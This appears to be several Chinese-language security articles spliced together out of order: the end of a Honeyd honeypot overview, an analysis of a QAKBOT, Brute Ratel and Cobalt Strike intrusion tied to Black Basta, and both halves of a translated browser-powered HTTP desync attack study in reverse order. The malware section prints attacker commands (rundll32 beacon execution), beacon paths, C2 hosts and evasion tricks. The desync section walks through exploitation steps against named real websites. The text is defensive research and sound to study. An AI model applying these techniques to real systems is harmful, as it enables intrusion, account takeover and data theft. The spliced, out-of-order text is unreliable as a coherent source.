Honeyd的體系結構Honeyd使用一個簡單的體系結構,一個中央包分發器接受所有入侵者的網絡流量,基於實現確定好的配置,對收到的數據流量來創建不同的服務進程處理,為了匹配所配置操作系統的特徵,使用個性引擎所修改發送出去的網絡數據包。

雖然通過對Honeyd 的配置可以控制它的每一個方面,但是三個重要特徵決定了Honeyd的整體行為:

一是入侵者只能從網絡中與Honeyd進行交互,我們的基本假設是入侵者不能走近計算機或者鍵盤進行登錄,因為任何一個Honeyd模擬的蜜罐沒有與之對應的物理計算機,Honeyd不是模擬操作系統的每一個方面,只有模擬其網絡堆棧所以入侵者永遠無法獲得對一個完整系統的訪問,但是可以通過與虛擬機如VMware相結合,減小Honeyd的這一問題。

二是Honeyd 可以在網絡上佈置大量的虛擬蜜罐,即使分配大量的IP地址Honeyd也都能模擬出,可以具有不同的操作系統和服務,也可以模擬任意的網絡拓撲結構,並支持網絡隧道。

三是可以欺騙指紋識別工具,Honeyd可以反轉指紋識別工具的數據庫,找到數據庫中指紋識別的特徵,當一個蜜罐需要發送一個網絡數據包時,可以通過查找數據庫,改變所有的數出數據包內容,使它們與配置的操作系統特徵相匹配。

結語虛擬蜜罐技術具有物理蜜罐技術的諸多特性,並可以在單一的系統中運行成百上千個虛擬蜜罐,還可以添加諸多應用程序,如網絡誘餌、蠕蟲探測、垃圾郵件阻止、網絡模擬等。相對於物理蜜罐複雜的部署、高額的費用、超長的耗時,虛擬蜜罐技術作為蜜罐技術的突破性解決方案讓網絡安全防護成本降低、效率增加,在網絡安全技術方面也同樣有著重要的作用。

趨勢科技的研究人員最近分析了一個與QAKBOT相關的示例,該示例導致了Brute Ratel C4和Cobalt Strike有效負載,這可以歸因於Black Basta 勒索軟件組織。

QAKBOT的惡意軟件在短暫中斷後於2022年9月8日恢復傳播,當時研究人員在這一天發現了幾個傳播機制。觀察到的傳播方法包括SmokeLoader(使用' snow0x '傳播器ID), Emotet(使用' azd '傳播器ID),以及使用' BB '和' Obama20x ' ID的惡意垃圾郵件。

最近一個涉及QAKBOT ‘BB’傳播器的示例導致部署了Brute Ratel(被趨勢科技檢測為Backdoor.Win64.BRUTEL),這是一個類似於Cobalt Strike的框架,作為第二階段有效負載。這是一個值得注意的進展,因為這是我們第一次通過QAKBOT感染觀察到Brute Ratel作為第二階段有效負載。這次攻擊還包括使用Cobalt Strike進行橫向移動。研究人員認為這些活動是Black Basta 勒索軟件組織所為。

攻擊的時間表1.png

Brute Ratel和其他CC框架的興起

與CobaltStrike一樣,BruteRatel是一種攻擊模擬工具,是商業CC框架領域的相對新的工具,它在該領域與更成熟的競爭者如Cobalt Strike競爭。

像Brute Ratel和Cobalt Strike這樣的攻擊模擬框架經常會被滲透測試專業人員使用,用於合法的滲透測試活動,在這些活動中組織尋求提高他們檢測和響應真實網絡攻擊的能力。這些框架用於從遠程位置提供實際的鍵盤訪問,以模擬攻擊者在網絡攻擊中使用的戰術、技術和過程(TTP)。

除了Cobalt Strike的合法使用示例外,它還因非法使用而臭名昭著,在過去幾年裡,它幾乎經常出現在勒索軟件攻擊中。它用作殭屍網絡的常見第二階段有效載荷,例如QAKBOT (TrojanSpy.Win64.QAKBOT),IcedID (TrojanSpy.Win64.ICEDID),Emotet (TrojanSpy.Win64.EMOTET) 和Bumblebee(Trojan.Win64.BUMBLELOADER) 等。不幸的是,在過去的幾年中,Cobalt Strike的幾個版本已被洩露,從而加速了攻擊者的惡意使用。

與Brute Ratel相比,由於其受歡迎程度高,其檢測覆蓋率比後者更大。這使得Brute Ratel和其他不太成熟的CC框架對惡意攻擊者來說越來越有吸引力,他們的活動可能在很長一段時間內都不會被發現。

Brute Ratel最近在黑市非常受歡迎,該框架的版本在地下組織中交易非常活躍,並發布了破解版本。 Brute Ratel的開發人員在最近的Twitter帖子中承認了這一漏洞。

2.png

QAKBOT 'BB' 到Brute Ratel

3.png

攻擊活動概況

該活動通過垃圾郵件開始,其中包含發送給潛在受害者的惡意新URL。 URL登錄頁面向收件人顯示ZIP文件的密碼。

4.png

已下載ZIP文件以及文件密碼的通知

繞過沙盒和安全檢測在此階段使用受密碼保護的ZIP文件可能是為了逃避安全解決方案的分析。

繞過安全檢測的標誌ZIP文件包含一個. iso文件。使用ISO文件是為了破壞“Mark of the Web (MOTW)” ,該標記將文件標記為從互聯網下載。它使這些文件受到Windows和終端安全解決方案的其他安全措施的影響。 ISO文件包含一個使用“Explorer”圖標的可見LNK文件和兩個隱藏的子目錄,每個子目錄包含各種文件和目錄。默認情況下,Windows操作系統不向用戶顯示隱藏文件。下圖說明了啟用“顯示隱藏文件”設置時用戶看到的內容。

5.png

啟用“顯示隱藏文件”設置時,用戶看到的添加隱藏子目錄

目錄結構如下:

6.png

目錄結構

命令行界面的執行順序QAKBOT在兩個腳本文件之間使用模糊處理,一個JavaScript (.js)文件和一個批處理腳本(.cmd)文件,很可能是為了隱藏看起來可疑的命令行。

9.png

命令行接口的執行順序

初始QAKBOT CC服務器通信C C基礎設施在地理上分佈在主要位於住宅Internet服務提供商(ISP) 寬帶網絡中的受損主機上。

這些“第1層”CC服務器被QAKBOT運營商認為是一次性的,並且幾乎每次有新的惡意軟件傳播時經常被更換,儘管有些服務器在多個QAKBOT惡意軟件配置中仍然存在。

自動化偵察命令在最初的CC通信之後僅6分鐘,並且QAKBOT惡意軟件現在在註入的進程(wermgr.exe)中運行,通過執行多個內置命令行工具在受感染的環境中執行自動偵察。這些命令行的執行順序如下:

10.png

內置命令行的執行順序

該活動在趨勢科技Vision One中可見,它可以檢測到這些內置Windows命令的可疑使用。

11.png

顯示與wermgr.exe相關的活動

QAKBOT釋放Brute Ratel自動偵察活動完成五分鐘後,注入QAKBOT的wermgr.exe進程釋放Brute Ratel DLL,並通過帶有“main”導出函數的rundll32.exe子進程調用它。

12.png

Brute Ratel被wermgr.exe通過rundll32.exe進程調用

該後門是一個HTTPS,它在symantecuptimehost[.]com執行擁有Brute Ratel服務器的簽入:

13.png

Brute Ratel簽入

在環境中執行進一步的偵察,以識別特權用戶。首先,使用內置的net.exe和nltest.exe。

14.png

識別特權用戶的偵察過程

其次,SharpHound實用程序通過Brute Ratel在註入的svchost.exe進程中運行,以輸出JSON文件,這些文件被輸入到BloodHound,並被標記為Active Directory組織單元、組策略、域、用戶組、計算機和用戶。然後將這些文件打包到一個ZIP文件中,以便為信息竊取做準備。整個過程都是腳本化的,只需不到兩秒鐘就可以完成。

15.png

通過svchost.exe輸出JSON文件

Brute Ratel釋放Cobalt Strike有趣的是,攻擊者選擇利用Cobalt Strike進行橫向移動。將幾個信標文件中的第一個文件放到運行Brute Ratel C4的受感染終端上,第一個文件為:C:\Users\Public\Name-123456.xls。

使用以下命令在運行Brute Ratel C4的同一主機上執行此信標文件:rundll32 C:\users\public\Name-123456.xls,DllRegisterServer。

接下來,攻擊者釋放其他信標文件,並將這些文件複製到網絡上其他主機上的管理共享,再次使用帶有XLS附件的文件名。

C:\Users\Public\abcabc.xls

C:\Users\Public\abc-1234.xls

C:\Users\Public\Orders_12_34_56.xls

C:\Users\Public\MkDir.xls

用於復製文件的命令如下:

16.png

以下列表是信標C C服務器:

hxxps://fewifasoc[.]com | 45.153.242[.]251

hxxps://hadujaza[.]com | 45.153.241[.]88

hxxps://himiketiv[.]com | 45.153.241[.]64

在採取任何最終行動之前,攻擊者會被從環境中驅逐出去。

到Brute Ratel的QAKBOT ‘Obama’在另一個事件中,趨勢科技發現QAKBOT使用‘Obama’傳播者ID前綴(即“Obama208”)也將Brutel Ratel C4作為第二級有效負載。

在此示例中,惡意軟件以受密碼保護的ZIP文件的形式通過HTML走私傳遞,這允許攻擊者“走私”編碼的惡意腳本到HTML附件或網頁。一旦用戶在瀏覽器中打開HTML頁面,就會解碼腳本並組裝有效負載。

17.png

QAKBOT傳播者使用密碼保護來抵禦網絡和沙箱安全掃描

一旦使用HTML附件中提供的密碼解密了ZIP文件,用戶就會看到一個ISO文件。惡意文件包含在ISO文件中,被用作Web繞過的標記。在內部,ISO文件包含以下目錄結構:

18.png

ISO文件目錄結構

自從QAKBOT回歸以來,研究人員觀察到執行鏈中的多種形式,從腳本語言到文件擴展名,再到導出函數名和序號的使用。對於這種感染,使用的是以下變體:

19.png

感染過程與上述攻擊中描述的TTP(戰術、技術和程序)相同。但是,在C2配置中觀察到一個顯著差異,與更傳統的HTTPS C2通道相比該配置使用HTTPS (DoH) 上的DNS。觀察到的C C服務器使用了帶有let's-Encrypt的HTTPS。

通過使用DoH,攻擊者可以隱藏C2域的DNS查詢。如果沒有使用中間人(MitM) 技術檢查SSL/TLS流量,則對C2服務器的DNS查詢將不會被注意到。

20.png

通過HTTPS (DoH)上的DNS執行C C通信的Brute Ratel進程。在採取任何最終行動之前,攻擊已經得到緩解

與Black Basta的關係21.png

QakBot到Black Basta攻擊中使用的Brute Ratel和Cobalt Strike基礎結構

根據調查,研究人員可以確定QAKBOT-to-Brute Ratel-to-Cobalt Strike攻擊鏈與Black Basta組織有關。這是基於在Black Basta攻擊中觀察到的重疊ttp和基礎設施來判斷的。

總結用戶可以通過以下一些最佳實踐來阻止新的QAKBOT變體和其他通過電子郵件傳播的攻擊:

在下載附件或從電子郵件中選擇嵌入式鏈接之前,請驗證電子郵件發件人和內容;

將指針懸停在嵌入鏈接上方以顯示鏈接的目標;

檢查發件人的身份,不熟悉的電子郵件地址,不匹配的電子郵件和發件人姓名,以及偽造的公司郵件都是危險跡象;

如果電子郵件聲稱來自合法公司,請在採取任何行動之前驗證他們是否確實發送了電子郵件。

60a7-article-browser-powered_desync_attacks_article.jpg

瀏覽器驅動的異步攻擊:HTTP 請求走私(上)

示例探究通過自動檢測CSD 漏洞,我確定了一系列真正的易受攻擊的網站。在這一節中,我將研究其中四個更有趣的方法,並看看這種方法是如何發揮作用的。

Akamai——堆棧化HEAD在第一個案例中,我們將利用一個簡單的漏洞影響許多基於Akamai 構建的網站。作為示例目標,我將使用www.capitalone.ca。

當Akamai 發出重定向時,它會忽略請求的Content-Length 標頭,並將任何消息正文留在TCP/TLS 套接字上。 Capitalone.ca 使用Akamai 將對/assets 的請求重定向到/assets/,因此我們可以通過向該端點發出POST 請求來觸發CSD:

26.png

為了構建一個漏洞利用,我們將使用HEAD 方法將一組HTTP 標頭與text/html 的Content-Type 和一個由反映Location 標頭中的查詢字符串的標頭組成的'body'組合起來:

27.png

如果這是服務器端異步攻擊,我們可以在就此打住。然而,要想成功實現客戶端異步,我們需要解決兩個複雜問題。

第一個問題是初始重定向響應。為了執行注入的JavaScript,我們需要受害者的瀏覽器將響應呈現為HTML,但是301 重定向會被瀏覽器自動跟踪,從而阻止攻擊。一個簡單的解決方案是指定模式:'cors',它會故意觸發CORS 漏洞。這可以防止瀏覽器跟隨重定向並使我們能夠通過調用catch() 而不是then() 來恢復攻擊序列。在catch block中,我們將使用location='https://www.capitalone.ca/' 觸發瀏覽器導航。我們可能傾向於使用iframe來進行導航,但可以使用跨網站攻擊緩解措施,例如同網站cookie。

第二個複雜的問題是所謂的“堆棧響應問題”。瀏覽器有一種機制,如果接收到的響應數據多於預期,則刪除連接。這極大地影響了對多個響應進行排隊的技術的可靠性,例如我們在這裡使用的HEAD方法。為了解決這個問題,我們需要延遲對HEAD 請求的404 響應。幸運的是,在這個目標上,我們可以很容易地實現這一點,方法是添加一個具有隨機值的參數來充當緩存攻擊器,觸發緩存未命中並產生約500 毫秒的延遲。利用結果如下所示:

28.png

已向Akamai 報告了此漏洞,但我不確定何時修復。

Cisco Web VPN——客戶端緩存攻擊我們的下一個目標是Cisco ASA WebVPN,它可以忽略幾乎所有端點上的Content-Length,因此我們只需向主頁發出POST 請求即可觸發異步。為了利用它,我們將使用Host-header 重定向小工具:

29.png

最簡單的攻擊是使用此重定向感染套接字,將受害者導航到/+CSCOE+/logon.html,並希望瀏覽器嘗試使用感染的套接字導入/+CSCOE+/win.js,然後被重定向,最終從我們的網站導入惡意JS。不幸的是,這是非常不可靠的,因為瀏覽器很可能會使用被感染的套接字進行初始導航。為了避免這個問題,我們將執行客戶端緩存攻擊。

首先,我們使用重定向感染套接字,然後將瀏覽器直接導航到/+CSCOE+/win.js:

30.png

請注意,此頂級導航對於繞過緩存分區至關重要- 嘗試使用fetch() 將攻擊漏洞的緩存。

瀏覽器將使用被感染的套接字,接收惡意重定向,並將其保存在本地緩存中以供https:/redacted/+CSCOE+/win.js 使用。然後,它將遵循重定向並返回我們的網站https://psres.net/+webvpn+/index.html。我們將瀏覽器重定向到登錄頁面https://redacted/+CSCOE+/logon.html,當瀏覽器開始出現登錄頁面時,它會嘗試導入/+CSCOE+/win.js 並發現它已經將其保存在其緩存中。資源加載將遵循緩存的重定向並向https://psres.net/+webvpn+/index.html 發出第二個請求。此時,我們的服務器可以使用一些惡意JavaScript 進行響應,這些JavaScript 將在目標網站的上下文中執行。

為了使這種攻擊起作用,攻擊者的網站需要在同一端點上同時提供重定向和惡意JS。我採取了一種懶惰的方法,並使用JS/HTML 多語言解決了這個問題——Chrome 似乎並不介意不正確的Content-Type:

31.png

我在2021 年11 月10 日向思科報告了這個問題,他們最終在2022 年3 月2 日宣布棄用該產品,他們不會修復它,但仍會為其標記為CVE-2022-20713。

Verisign——碎片化的chunk在尋找不同步矢量時,最好不要超出探測有效端點的範圍,而是鼓勵服務器使用不同尋常的代碼路徑。在嘗試使用像/.%2f 這樣的半格式漏洞的URL 時,我發現我可以通過POST 到/%2f 來觸發verisign.com 上的CSD。

我最初嘗試使用基於HEAD 的方法,類似於之前在Akamai 上使用的方法。不幸的是,這種方法依賴於基於Content-Length 的響應,並且服務器向所有沒有正文的請求發送分塊響應。此外,它拒絕了包含Content-Length 的HEAD 請求。最終,經過測試,我發現服務器會對HEAD 請求發出基於CL 的響應,前提是它們使用了Transfer-Encoding: chunked。

這在服務器端異步中幾乎沒有用,但是由於受害者的瀏覽器在我的控制之下,我可以準確地預測下一個請求的大小,並在單個chunk中使用它:

32.png

此攻擊是使用以下JavaScript 觸發的:

33.png

此漏洞於2022 年7 月21 日被成功修復。

Pulse SecureVPNPulse Secure VPN會忽略對靜態文件(如/robots.txt)的POST 請求的Content-Length。就像Cisco Web VPN 一樣,這個目標有一個主機標頭重定向小工具,我將使用它來劫持JavaScript 導入。但是,這次的重定向是不可緩存的。因此客戶端緩存攻擊是不可用的。

由於我們的目標是資源負載並且沒有攻擊客戶端緩存的預期,因此攻擊時機至關重要。我們需要受害者的瀏覽器成功加載目標網站上的頁面,然後使用攻擊連接加載JavaScript 子資源。

固有的競爭條件使這種攻擊不可靠,所以如果我們只有一次嘗試,它注定會失敗——我們需要設計一個環境,可以進行多次嘗試。為了實現這一點,我將創建一個單獨的窗口,並在攻擊者頁面上保留一個句柄。

在大多數目標頁面上,如果試圖劫持JS導入失敗,將導致瀏覽器緩存真正的JavaScript文件,在緩存的JS過期之前,該頁面不會受到此類攻擊。我能夠通過定位/dana-na/meeting/meeting_testjs.cgi來避免這個問題,它從/dana-na/meeting/url_meeting/appletRedirect.js加載JavaScript,這實際上並不存在,所以它返回一個404,並沒有保存在瀏覽器的緩存中。我還用一個冗長的標頭填充了注入的請求,以緩解堆棧響應漏洞。

這導致以下攻擊流程:

1.打開一個新窗口。

2.向目標發出無害的請求以建立新的連接,從而使計時更加一致。

3.將窗口導航到位於/meeting_testjs.cgi 的目標頁面。

4.120 毫秒後,使用重定向小工具創建三個攻擊連接。

5.5 毫秒後,在渲染/meeting_testjs.cgi 時,受害者可能會嘗試導入/appletRedirect.js 並被重定向到提供惡意JS的x.psres.net。

6.如果沒有,請重試攻擊。

最終的攻擊腳本如下:

34.png

基於暫停的異步如上所述,在HTTP 請求中間暫停並觀察服務器的反應可以揭示通過篡改請求的實際內容無法獲得的有用信息。事實證明,暫停還可以通過觸發漏洞的請求超時實現來創建新的異步漏洞。

這個漏洞類是不可見的,除非你的工具有比目標服務器更高的超時時間。我非常幸運地發現了它,因為我的工具應該有2秒的超時,但由於一個漏洞,它恢復到10秒的超時。我的管道還碰巧包含一個運行Varnish的單獨網站,該網站配置了自定義的5 秒超時。

VarnishVarnish 緩存有一個稱為synth() 的特性,它可以讓你在不將請求轉發到後端的情況下發出響應。下面是一個用來阻止訪問文件夾的規則示例:

36.png

當處理匹配synth規則的部分請求時,如果Varnish在15秒內沒有收到數據,它將超時。當這種情況發生時,即使它只從套接字讀取了一半的請求,它也會讓連接保持打開狀態以便重用。這意味著,如果客戶機繼續處理HTTP請求的後半部分,它將被解釋為一個新的請求。

要在易受攻擊的前端觸發基於暫停的異步,首先發送你的標頭,承諾正文,然後等待。最終你會收到一個響應,當你最終發送你的請求正文時,它會被解釋為一個新的請求:

37.png

Apache在這個發現之後,我碰到了Turbo Intruder 的請求超時,發現同樣的技術也適用於Apache。與Varnish一樣,它在服務器自己生成響應而不是讓應用程序處理請求的端點上很容易受到攻擊。發生這種情況的一種方法是使用服務器級重定向:

38.png

如果你發現一個服務器容易受到基於暫停的異步的影響,你有兩個利用它的選項,具體取決於它是前端還是後端。

服務器端如果易受攻擊的服務器在後端運行,你可能會觸發服務器端異步。為此,你需要一個將請求流傳輸到後端的前端。特別是,它需要在不緩衝整個請求正文的情況下以HTTP 標頭轉發。

39.png

這裡有一個小問題。前端不會讀取超時響應並將其傳遞給我們,直到看到我們發送完整的請求。因此,我們需要發送我們的標頭,暫停一段時間,然後在沒有提示的情況下繼續其餘的攻擊序列。我不知道有任何安全測試工具支持像這樣部分延遲請求,所以我在Turbo Intruder 中實現了支持。隊列接口現在有三個新參數:

pause before指定一個Turbo應該暫停的偏移量。

pauseMarker 是一種替代方案,它採用Turbo 在發出後應暫停的字符串列表。

pauseTime 指定暫停多長時間,以微秒為單位;

那麼,哪些前端實際上具有這種請求流?一個著名的前端是Amazon 的Application Load Balancer (ALB),但還有一個額外的障礙。如果ALB 收到對部分請求的響應,它將拒絕重用連接。

40.png

幸運的是,這種機制中有一個固有的競爭條件。你可以通過延遲請求的後半部分來充分利用ALB 後面的Varnish,使其在後端超時的同時到達前端。

41.png

匹配超時在利用ALB 背後的Apache 時還有一個額外的複雜性,兩台服務器的默認超時時間都是60 秒。這就為發送請求的第二部分留下了極短的時間窗口。

我試圖通過發送一些被前端規範化的數據來解決這個問題,以便在不影響後端計時器的情況下重置前端的計時器。不幸的是,塊大小填充、塊擴展或TCP 重複/無序數據包都沒有達到這個目標。

最後,為了證明這個概念,我使用Turbo Intruder 發起了一次緩慢但持續的攻擊。 66個小時後,這個實驗最終成功了。

MITM 攻擊由於基於暫停的異步攻擊使用合法的HTTP 請求,人們很自然地想知道它們是否可以用來觸發客戶端異步。我探索了使瀏覽器在發出請求的中途暫停的選項,但儘管Streaming Fetch 聽起來很有希望,但它還沒有實現,最終測試失敗。

然而,有一種方法絕對可以延遲瀏覽器請求——主動MITM 攻擊。 TLS 旨在防止數據在傳輸過程中被解密或修改,但它是通過TCP 捆綁的,沒有什麼可以阻止攻擊者延遲整個數據包。這可以稱為盲目MITM 攻擊,因為它不依賴於解密任何流量。

攻擊流程與常規的客戶端異步攻擊非常相似。用戶訪問攻擊者控制的頁面,該頁面向目標應用程序發出一系列跨域請求。第一個HTTP 請求被故意填充到非常大,以至於操作系統將其拆分為多個TCP 數據包,從而使活動的MITM 能夠延遲最終數據包,從而觸發基於暫停的異步。由於存在填充,攻擊者只需根據數據包的大小就能識別出需要暫停的數據包。

42.png

我能夠使用默認配置和一個重定向規則成功地對一個獨立的基於apache的網站執行此攻擊:

43.png

從客戶端看,除了請求填充之外,它看起來像使用HEAD 小工具的常規客戶端異步:

44.png

在執行盲目MITM 的攻擊者係統上,我使用tc-NetEm 實現了延遲:

45.png

通過修改請求填充和數據包大小過濾器,我在目標瀏覽器上實現了大約90% 的成功率:

總結本文所涉及的主題和技術具有進一步研究的潛力:

1.使用瀏覽器發出的請求觸發客戶端異步的新方法;

2.一種基於暫停的服務器端異步漏洞的有效且可靠的檢測方法;

3.更多用於客戶端不同步攻擊的利用小工具;

4.使用CSD-chaining 的真實PoC;

5.一種需要MITM 來延遲瀏覽器請求的方法;

6.一種在HTPT/2 可用時強制瀏覽器使用HTTP/1 的方法;

緩解措施你可以通過使用HTTP/2 端到端來緩解本文中的大多數攻擊。 HTTP/2中也可能存在類似的漏洞,但可能性要小得多。我不建議前端支持HTTP/2,然後重寫HTTP/1.1請求來與後端通信。這確實緩解了客戶端異步攻擊,但它無法緩解服務器端基於暫停的攻擊,並且還引入了其他的威脅。

如果你的公司通過轉發代理路由員工的流量,請確保支持並啟用上游HTTP/2。注意,使用正向代理還引入了超出本文範圍的一系列額外的請求走私風險。

HTTP/1.1 的明文性質使它看起來很簡單,並使開發人員實現自己的服務器。不幸的是,即使是HTTP/1.1 的極簡實現也容易出現嚴重漏洞,特別是如果它支持連接重用或部署在單獨的前端之後。

60a7-article-browser-powered_desync_attacks_article.jpg

我將在本文介紹如何將受害者的Web 瀏覽器變成一個異步的傳播平台,通過暴露一個獨立的服務器網站和內部網絡來轉移請求走私的邊界。你將學習如何將跨域請求與服務器漏洞相結合,以攻擊瀏覽器連接池、安裝後門,並釋放異步攻擊。使用這些技術,我將攻擊包括Apache、Akamai、Varnish、Amazon 和多個Web VPN 在內的目標。

接下來我將分享一種結合瀏覽器特點和自定義開源工具的方法。除此之外,我還將介紹一種黑盒分析策略,該策略解決了長期存在的異步障礙,並揭示了一種極其有效的新穎異步觸發器。由此產生的後果將包括客戶端、服務器端甚至MITM 攻擊。最後,我將介紹修改HTTPS 以在Apache 上觸發MITM 驅動的異步。

本文使用的術語“瀏覽器驅動的異步攻擊”表示可以通過Web 瀏覽器觸發的所有異步攻擊。這包括所有客戶端異步攻擊,以及一些服務器端攻擊。

本文的示例都是取材於真實網站。本文中引用的所有漏洞均已報告給相關供應商,並已修補,除非另有說明。

連接狀態攻擊如果你沒有嘗試請求走私攻擊,很容易忘記HTTP 連接重用並將HTTP 請求視為獨立對象。畢竟,HTTP 應該是無狀態的。然而,下面的層(通常是TLS)只是一個字節流,很容易找到實現不佳的HTTP 服務器,假設通過單個連接發送的多個請求必須共享某些屬性。

在野外看到的主要漏洞是服務器假設通過給定TLS 連接發送的每個HTTP/1.1 請求都必須具有相同的預期目標和HTTP Host 標頭。由於網絡瀏覽器符合這個假設,所以在有人使用Burp Suite 之前一切都會正常工作。

我發現了兩個不同的場景,這個漏洞均造成了很大的安全後果。

第一個請求驗證反向代理通常使用Host 標頭來識別將每個請求路由到哪個後端服務器,並有一個允許人們訪問的主機白名單:

1.png

但是,我發現一些代理只對通過給定連接發送的第一個請求應用此白名單。這意味著攻擊者可以通過向允許的目的地發出一個請求來訪問內部網站,然後通過相同的連接向內部網站發出一個請求:

2.png

幸運的是,這種漏洞非常罕見。

第一個請求路由第一個請求路由是一個密切相關的漏洞,發生在前端使用第一個請求的Host 標頭來決定將請求路由到哪個後端,然後將來自同一客戶端連接的所有後續請求路由到同一後端連接。

這本身不是一個漏洞,但它使攻擊者能夠使用任意Host 標頭攻擊任何後端,因此它可以與Host 標頭攻擊鏈接在一起,例如密碼重置攻擊、Web 緩存攻擊以及獲得對其他虛擬主機的訪問權限。

在此示例中,我們希望使用“psres.net”的攻擊主機標頭攻擊example.com 的後端,以進行密碼重置攻擊,但前端不會路由我們的請求:

3.png

然而,通過對目標網站的有效請求開始我們的請求序列,我們可以成功到達後端:

4.png

希望能給受害者發一封帶有釣魚鏈接的郵件:

5.png

你可以使用HTTP Request 走私中的“連接狀態探測”選項掃描這兩個漏洞。

大多數HTTP 請求走私攻擊可以描述如下:

發送一個長度不明確的HTTP 請求,使前端服務器與後端對消息的結束位置產生分歧,從而將惡意前綴應用於下一個請求。此分歧通常是通過混淆的傳輸編碼標頭來實現的。

該漏洞是由以下HTTP/2請求觸發的,該請求沒有使用任何混淆或違反任何RFC。甚至對於長度沒有任何歧義,因為HTTP/2 在幀層中有一個內置的長度字段:

6.png

此請求觸發了來自運行AWS Application Load Balancer (ALB) 作為其前端的各種網站的非常可疑的間歇性400 漏洞請求響應。調查顯示,ALB在將請求降級為HTTP/1.1轉發到後端時,添加了一個“Transfer-Encoding: chunked”標頭,而沒有對消息正文進行任何更改:

7.png

我只需要提供一個有效的被chunk對象:

8.png

這是一個發現漏洞的完美示例,它讓你回溯實際發生的情況和原因。這個請求只有一個不尋常的地方,它沒有Content-Length (CL) 標頭。由於前面提到的內置長度字段,在HTTP/2 中省略CL 是明確可接受的。然而,瀏覽器總是發送一個CL,所以服務器顯然不會期望沒有CL的請求。

檢測連接鎖定的CL.TE有了這兩個經驗教訓,我決定解決我去年在HTTP/2 研究中強調的一個未解決的問題,連接鎖定HTTP/1.1 請求走私漏洞的通用檢測。連接鎖定是指前端為與客戶端建立的每個連接創建一個到後端的新連接的常見行為。這使得直接的跨用戶攻擊幾乎不可能,但仍然留下了其他攻擊途徑。

要識別此漏洞,你需要通過單個連接發送“攻擊者”和“受害者”請求,但這會產生大量誤報,因為服務器行為無法與稱為HTTP管道的常見無害特性區別開來。例如,給定以下CL.TE 攻擊的請求/響應序列,你無法判斷目標是否易受攻擊:

9.png

HTTP 管道在Burp Repeater 中也可見,它通常被誤認為是真正的請求走私:

10.png

你可以通過將requestsPerConnection 設置從1 增加到自己在Turbo Intruder 中的測試,這只是要做好誤報的準備。

我浪費了很多時間試圖調整請求來解決這個問題。但事實證明,上面的響應不能證明存在漏洞,並且解決方案立刻就出現了:

從上面的響應序列可以看出,由於隨後的404 響應,後端正在使用傳輸編碼標頭解析請求。但是,你無法判斷前端是否使用請求的Content-Length ,並因此易受攻擊,或者是否安全地將其視為許多chunk,並假設橙色數據已通過管道傳輸。

要排除管道的可能性並證明目標確實易受攻擊,你只需在使用0\r\n\r\n 完成chunk處理請求後暫停並嘗試提前讀取。如果服務器在你的讀取嘗試期間做出響應,則表明前端認為該消息還是完整的,因此必須將其安全地分割成很多小塊:

11.png

如果你的讀取嘗試被暫停,這表明前端正在等待消息完成,因此必須使用Content-Length,從而使其易受攻擊:

12.png

這種技術也可以很容易地適應TE.CL 漏洞。將其集成到HTTP Request 走私中很快發現了一個在Barracuda WAF後面運行IIS 的網站,該網站容易受到傳輸編碼的影響。有趣的是,修復這個漏洞的更新已經出現了,但它是作為一種投機性的修復措施來實現的,所以它沒有被標記為安全版本,攻擊設備也沒有安裝它。

CL.0 瀏覽器兼容的異步雖然原先將另一個網站標記為最初看起來像連接鎖定的TE.CL 漏洞。但是,服務器沒有按預期響應我的手動探測和讀取。當我嘗試簡化請求時,我發現傳輸編碼標頭實際上被前端和後端完全忽略了。這意味著我可以完全利用它,發起攻擊:

13.png

前端使用的是Content-Length,但後端顯然完全忽略了它。結果,後端將正文作為第二個請求的方法的開始。忽略CL等同於將其視為值為0,因此這是一個CL.0異步,這是一種已知但較少探索的攻擊類。

14.png

關於此漏洞的第二個也是更重要的一點是,它是由一個完全有效的、符合規範的HTTP 請求觸發的。這意味著前端防禦它的機會為零,甚至可以由瀏覽器觸發。

攻擊是可能的,因為後端服務器根本不會接收到POST 請求。

amazon.com 上的H2.0對CL.0/H2.0 異步漏洞實施粗略掃描檢查後發現,它們影響了包括amazon.com 在內的眾多網站,亞馬遜網站忽略了發送到/b/的請求的CL:

15.png

我通過創建一個簡單的概念證明(PoC) 來確認此漏洞,該概念將隨機實時用戶的完整請求(包括身份驗證令牌)存儲在我的清單中:

16.png

在我向亞馬遜報告此事後,我意識到我還是錯過了一個危害更大的漏洞。攻擊請求非常普通,我可以讓任何人的網絡瀏覽器使用fetch() 發出它。通過在亞馬遜上使用HEAD 技術創建一個XSS 小工具並在受害者的瀏覽器中執行JavaScript,我可以讓每個受攻擊的受害者自己重新發起攻擊,並將其傳播給其他人。這樣就會產生一個異步攻擊,一種自我複制的攻擊,利用受害者在沒有用戶交互的情況下發起的攻擊,迅速利用亞馬遜上的每個活躍用戶。

我不建議在你的工作系統上嘗試此操作,但在暫存環境中嘗試可能會很有趣。

客戶端異步傳統的異步攻擊利用的是前端和後端服務器之間的連接,因此在不使用前端/後端架構的網站上是不可能的。從現在開始,我將把它稱為服務器端異步。大多數服務器端異步只能由發出格式漏洞的請求的自定義HTTP 客戶端觸發,但是,正如我們剛剛在amazon.com 上看到的,有時可以創建由瀏覽器驅動的服務器端異步。

瀏覽器導致異步的能力會引發一類全新的威脅,我將其稱為客戶端異步(client-side desync,CSD),其中異步發生在瀏覽器和前端服務器之間。這使得可以利用獨立的服務器網站,這很有價值,因為它們通常在HTTP 解析方面非常糟糕。

CSD 攻擊始於受害者訪問的感染網站,然後讓他們的瀏覽器向易受攻擊的網站發送兩個跨域請求。第一個請求的目的是使瀏覽器的連接異步,並使第二個請求觸發有害響應,通常使攻擊者控制受害者的帳戶:

17.png

攻擊方法在嘗試檢測和利用客戶端異步漏洞時,你可以重用來自服務器端異步攻擊的許多概念。主要區別在於,整個漏洞利用序列都發生在受害者的網絡瀏覽器中,這個環境比專用黑客工具更加複雜和不受控制。這帶來了一些新的挑戰,這給我在研究這項技術時帶來了很大的阻礙。為此,我開發了以下方法:

18.png

探測第一步是識別你的CSD 矢量。這個基本原語是漏洞的核心,也是構建漏洞利用的平台。我們已經在HTTP Request 走私和Burp Scanner 中實現了對這些的自動檢測,但是了解如何手動進行檢測仍然很有價值。

CSD 向量是具有兩個關鍵屬性的HTTP 請求。

首先,服務器必須忽略請求的Content-Length (CL)。這種情況通常會發生,因為請求要么觸發了服務器錯誤,要么服務器根本不期望向所選端點發出POST請求。嘗試針對靜態文件和服務器級重定向,並通過超長URL 和/%2e%2e 等半格式錯誤觸發漏洞。

